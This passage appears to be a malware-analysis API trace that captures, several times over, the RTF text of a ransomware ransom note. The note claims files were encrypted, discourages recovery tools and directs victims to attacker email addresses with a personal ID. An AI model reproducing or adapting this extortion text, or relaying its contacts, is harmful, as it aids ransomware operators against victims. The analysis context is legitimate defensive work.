!\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T 